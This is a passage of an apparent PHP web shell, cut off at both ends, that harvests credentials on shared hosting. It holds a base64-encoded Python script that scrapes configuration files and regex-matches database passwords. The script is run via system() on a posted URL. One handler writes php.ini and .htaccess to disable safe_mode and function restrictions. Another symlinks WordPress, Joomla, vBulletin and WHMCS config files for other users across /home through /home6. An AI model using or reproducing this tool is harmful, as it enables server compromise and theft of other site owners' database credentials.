i53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
  293. $file = fopen("cp.py","w+");
  294. $write = fwrite ($file ,base64_decode($cp));
  295. fclose($file);
  296. chmod("cp.py",0755);
  297. $url = $_POST['url'];
  298. echo"<center>
  299. <textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
  300. system("python cp.py $url config");
  301. unlink ('cp.py');
  302. echo"</textarea>
  303. </center>";
  304. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."> << BACK</a>";
  305. exit;
  306. }
  307. if($_POST['matikan']=='sekatan'){
  308. @error_reporting(0);
  309. $phpini =
  310. 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
  311. $file = fopen("php.ini","w+");
  312. $write = fwrite ($file ,base64_decode($phpini));
  313. fclose($file);
  314. $htaccess =
  315. 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
  316. $file = fopen(".htaccess","w+");
  317. $write = fwrite ($file ,base64_decode($htaccess));
  318. echo "<hr><center><b>DONE!";
  319. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  320. exit;
  321. }
  322. if($_POST['mendapatkan']=='passwd'){
  323. @set_magic_quotes_runtime(0);
  324. ob_start();
  325. error_reporting(0);
  326. @set_time_limit(0);
  327. @ini_set('max_execution_time',0);
  328. @ini_set('output_buffering',0);
  329. $fn = $_POST['foldername'];
  330. //all function here
  331.  
  332. function syml($usern,$pdomain)
  333.     {
  334.         symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  335.         symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  336.         symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  337.         symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  338.         symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  339.         symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  340.         symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  341.         symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  342.         symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  343.         symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  344.         symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  345.         symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  346.         symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  347.         symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  348.         symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  349.         symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  350.         symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  351.         symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  352.         symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  353.         symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  354.         symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  355.         symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  356.         symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  357.         symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  358.         symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  359.         symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  360.         symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  361.         symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  362.         symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  363.         symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  364.         symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  365.         symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  366.         symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  367.         symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  368.         symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  369.         symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  370.         symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  371.         symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  372.         symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  373.         symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  374.         symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  375.         symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  376.         symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  377.         symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  378.         symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  379.         symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  380.         symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  381.         symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  382.         symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  383.         symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  384.         symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  385.         symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  386.         symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  387.         symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  388.         symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  389.         symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  390.         symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  391.         symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  392.         symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  393.         symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  394.         symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  395.         symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  396.         symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  397.         symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  398.         symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  399.         symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  400.         symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  401.         symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  402.         symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  403.         symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  404.         symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  405.         symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  406.         symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  407.         symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  408.         symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  409.         symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  410.         symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  411.         symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  412.         symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  413.         symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  414.         symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  415.         symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  416.         symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  417.         symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  418.         symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  419.         symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  420.         symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  421.         symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  422.         symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  423.         symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  424.         symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  425.         symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  426.         symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  427.         symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  428.         symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  429.         symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  430.         symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  431.         symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  432.         symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  433.         symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  434.         symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  435.         symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  436.         symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  437.         symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  438.         symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  439.         symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  440.         symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  441.         symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  442.         symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  443.         symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  444.         symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  445.         symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  446.         symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  447.         symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  448.         symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  449.         symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  450.         symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  451.         symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  452.         symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  453.         symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  454.         symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  455.         symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  456.         symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  457.         symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  458.         symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  459.         symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  460.         symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  461.         symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  462.         symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  463.         symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  464.         symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  465.         symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  466.         symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  467.         symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  468.         symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  469.         symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  470.         symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  471.         symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  472.         symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  473.         symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  474.         symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  475.         symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  476.         symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  477.         symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  478.         symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  479.         symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  480.         symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  481.         symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  482.         symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  483.         symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  484.         symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  485.         symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  486.         symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  487.         symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  488.         symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
